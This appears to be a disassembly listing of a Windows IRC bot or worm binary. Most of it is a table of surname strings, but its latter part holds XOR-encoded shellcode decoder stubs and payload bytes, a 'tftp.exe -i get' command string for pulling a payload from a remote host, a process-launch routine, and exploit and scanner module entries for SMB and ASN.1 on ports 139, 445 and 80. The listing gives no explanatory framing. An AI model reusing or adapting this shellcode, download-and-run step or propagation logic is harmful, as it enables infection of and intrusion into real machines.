aDas		db 'Das',0              ; DATA XREF: ___:0042DA18o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA10o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA0Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA08o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA04o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA00o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042D9FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042D9F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9E8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042D9D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042D9D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042D9D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042D9CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:0042D9C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9C4o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9C0o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9BCo
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9B8o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9B4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9B0o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9ACo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9A4o
					; ___:0042D9A8o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9A0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D99Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042D998o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D994o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D990o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D98Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042D988o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D984o
aClement	db 'Clement',0          ; DATA XREF: ___:0042D980o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D97Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D978o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D974o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D970o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D96Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D968o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042D964o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D960o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D95Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D958o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D954o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D950o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D94Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D948o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D944o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D940o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D93Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D938o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D934o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D930o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D92Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D928o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D924o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D920o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D91Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D918o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D914o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D910o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D90Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D908o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D904o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D900o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D8FCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D8F8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D8F0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D8ECo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D8E8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D8E4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D8DCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D8D8o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D8D4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D8D0o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8CCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8C8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8C4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8C0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8BCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8B8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8B4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8B0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8ACo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8A8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8A4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8A0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D89Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D898o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D894o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D890o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D88Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D888o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D884o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D880o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D87Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D878o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D874o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D870o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D86Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D868o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D864o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D860o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D858o
					; ___:0042D85Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D854o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D850o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D84Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D848o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D844o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D840o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D83Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D838o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D834o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D830o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D82Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D828o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D824o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D820o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D81Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D818o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D814o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D810o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D80Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D808o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D804o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D800o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D7FCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D7F8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D7F4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D7F0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D7ECo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D7E8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D7E4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D7E0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D7DCo
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D7D8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D7D4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7C8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7C4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7C0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7BCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7B8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7B4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7B0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7ACo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7A8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7A4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7A0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D79Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D798o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D794o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D790o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D78Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D788o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D784o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D780o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D77Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D778o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D774o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D770o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D76Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D768o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D764o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D760o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D75Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D758o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D754o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D750o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D74Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D748o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D744o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D740o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D73Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D738o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D734o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D730o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D72Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D728o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D724o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D720o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D71Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D718o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D714o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D710o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D70Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D708o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D704o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D700o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D6FCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D6F8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D6F4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D6F0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D6ECo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D6E8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D6E4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D6E0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D6DCo
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D6D8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D6D4o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D6D0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6CCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6C8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6C4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6C0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6BCo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6B8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6B4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6B0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6ACo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6A4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6A0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D69Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D698o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D694o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D690o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D68Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D688o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D684o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D680o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D67Co
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D678o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D674o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D670o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D66Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D668o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D664o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D660o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D65Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D658o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D654o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D650o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D64Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D648o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D644o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D640o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D63Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D638o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D634o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D630o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D62Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D628o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D624o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D620o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D61Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D618o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D614o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D610o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D60Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D608o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D604o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D600o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D5FCo
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D5F8o
		align 10h
byte_431250	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431254	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431258	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431260	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431264	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431268	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43126C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_431270	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_431274	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_431278	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_43127C	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_431280	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_431288	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_431298
; ---------------------------------------------------------------------------


loc_431296:				; CODE XREF: ___:loc_431298p
		jmp	short loc_43129D
; ---------------------------------------------------------------------------


loc_431298:				; CODE XREF: ___:00431294j
		call	loc_431296


loc_43129D:				; CODE XREF: ___:loc_431296j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_4312A4:				; CODE XREF: ___:004312A9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312A4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4312BA:				; CODE XREF: ___:004312BFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312BA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43135C
		jnz	short loc_431348
		retn
; ---------------------------------------------------------------------------


loc_431348:				; CODE XREF: ___:00431345j
					; ___:00431355j
		call	near ptr loc_43134D+1


loc_43134D:				; CODE XREF: ___:loc_431348p
		add	[edx+0], ch
		call	sub_43135C
		jz	loc_431348
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43135C	proc near		; CODE XREF: ___:00431340p
					; ___:00431350p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43135C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431408	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43140C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431410	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431414	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431418	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43141C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4315EA	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431616

; =============== S U B	R O U T	I N E =======================================



sub_431606	proc near		; CODE XREF: sub_431606:loc_431616p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43160E:				; CODE XREF: sub_431606+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43160E
		jmp	short loc_43161B
; ---------------------------------------------------------------------------


loc_431616:				; CODE XREF: ___:00431604j
		call	sub_431606


loc_43161B:				; CODE XREF: sub_431606+Ej
		jo	short near ptr dword_4315A4+12h
		cwde
		cdq
		cdq
		retn
sub_431606	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_431798	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317A4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317C4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
